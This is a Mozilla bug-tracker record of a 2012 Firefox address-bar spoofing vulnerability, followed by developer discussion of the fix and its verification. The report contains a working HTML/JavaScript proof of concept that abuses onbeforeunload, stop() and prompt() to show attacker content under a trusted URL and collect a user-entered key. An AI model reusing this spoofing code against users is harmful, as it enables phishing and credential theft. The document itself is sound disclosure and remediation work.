Closed
Bug 725611
Opened 13 years ago
Closed 13 years ago
[CAL-2012-0019]Firefox website spoof vulnerability by hook event
Categories
(Firefox :: Address Bar, defect)
Tracking
()
VERIFIED
FIXED
Firefox 14
People
(Reporter: vulnhunt, Assigned: dao)
References
Details
(Whiteboard: [sg:moderate][advisory-tracking+] fixed by bug 724599 )
Attachments
(1 file)
1.44 MB,
image/gif
|
Details |
User Agent: Mozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0 Build ID: 20120129021758 Steps to reproduce: [CAL-2012-0019]Firefox website spoof vulnerability by hook event 1 Affected Products ================= tested Firefox 10.0(last) 2 Vulnerability Details ===================== Code Audit Labs of Vulnhunt.com(http://www.vulnhunt.com) has discovered a website spoof vulnerability in firefox which may Trick victims trust attack content as truested websit content like google in example. 3 POC: ==== open a html with following content =================================== <h1 id="msg">type www.google.com in address bar for CAL-2012-0019 by Code Audit Labs of Vulnhunt.com</h1> <h1 id="spoof"><input id="log"></h1> <script type="text/javascript"> spoof.style.display = 'none'; var done = 0; var got = 0; onbeforeunload = function(ev) { done = 1; alert('Move your mouse now \nclick "Leave Page" with keyboard') return false; } onmousemove = function() { stop(); //console.log(done) if (done && !got) { msg.style.display = 'none'; got = prompt('enter your key?'); if (got) { spoof.style.display = 'block'; log.value = got; } } } </script> =================================== 4 About Code Audit Labs: ===================== Code Audit Labs secure your software,provide Professional include source code audit and binary code audit service. Code Audit Labs:" You create value for customer,We protect your value" http://www.VulnHunt.com http://blog.vulnhunt.com http://t.qq.com/vulnhunt http://weibo.com/vulnhunt Actual results: spoof Expected results: not spoof
Comment 1•13 years ago
|
||
This is basically identical to bug 724599 but with slightly less explicit user interaction... I think we're going to have to revert the urlbar for script-initiated stop()s.
Status: UNCONFIRMED → NEW
Component: Untriaged → Location Bar
Depends on: CVE-2012-1950
Ever confirmed: true
QA Contact: untriaged → location.bar
Whiteboard: [sg:moderate]
![]() |
||
Comment 2•13 years ago
|
||
The problem with that is that a page can put a stop() on a timeout to keep the user from editing the url bar text... Can we revert only if we'd started a load from the url bar?
Comment 3•13 years ago
|
||
Can we subject stop() to popup abuse controls? As far as I can see, pages only need to use it in response to user interaction.
![]() |
||
Comment 4•13 years ago
|
||
I kinda like that idea, actually. It wouldn't be hard to do, for sure....
Assignee | ||
Comment 5•13 years ago
|
||
(In reply to neil@parkwaycc.co.uk from comment #3) > Can we subject stop() to popup abuse controls? As far as I can see, pages > only need to use it in response to user interaction. filed bug 740295
Status: NEW → RESOLVED
Closed: 13 years ago
Resolution: --- → FIXED
Whiteboard: [sg:moderate] → [sg:moderate] fixed by bug 724599
Target Milestone: --- → Firefox 14
Comment 6•13 years ago
|
||
I'm not seeing any difference in behavior with the PoC in comment 0 before and after bug 724599 was fixed.
Comment 7•13 years ago
|
||
That said, I don't see the behavior from the attached gif anywhere.
Comment 8•13 years ago
|
||
We're already tracking bug 724599 for ESR.
status-firefox-esr10:
--- → affected
tracking-firefox-esr10:
--- → -
Updated•13 years ago
|
status-firefox12:
--- → wontfix
status-firefox13:
--- → affected
status-firefox14:
--- → fixed
tracking-firefox14:
--- → +
Comment 9•13 years ago
|
||
Moving tracking to 13 to make sure these fixes get verified when they land.
tracking-firefox13:
--- → +
Comment 10•13 years ago
|
||
(In reply to Al Billings [:abillings] from comment #6) > I'm not seeing any difference in behavior with the PoC in comment 0 before > and after bug 724599 was fixed. I still don't see any difference with Firefox 12 and the post-checkin build with the fix and the attached POC.
Updated•12 years ago
|
Comment 11•12 years ago
|
||
This is still being tracked for Firefox 13? Are we taking this on the beta branch (13) or not?
Assignee | ||
Comment 12•12 years ago
|
||
It's too late to land bug 724599 for Firefox 13.
Updated•12 years ago
|
Assignee: nobody → dao
Comment 13•12 years ago
|
||
Assigning this bug to Dao so that we can ensure there's someone on the hook to fix this for ESR.
Comment 14•12 years ago
|
||
The fix is bug 724599.
Updated•12 years ago
|
Whiteboard: [sg:moderate] fixed by bug 724599 → [sg:moderate][advisory-tracking+] fixed by bug 724599
Comment 15•12 years ago
|
||
Since this is fixed by bug 724599 and that was checked into ESR, is there any reason to not mark this as fixed in status-firefox-esr10 field?
Assignee | ||
Updated•12 years ago
|
Comment 16•12 years ago
|
||
Marking this as verified for 14 and trunk since bug 724599 was verified by me there.
Status: RESOLVED → VERIFIED
Updated•12 years ago
|
Group: core-security
Comment 17•12 years ago
|
||
Transitively marking this verified for ESR based on my verification in bug 724599.
You need to log in
before you can comment on or make changes to this bug.
Description
•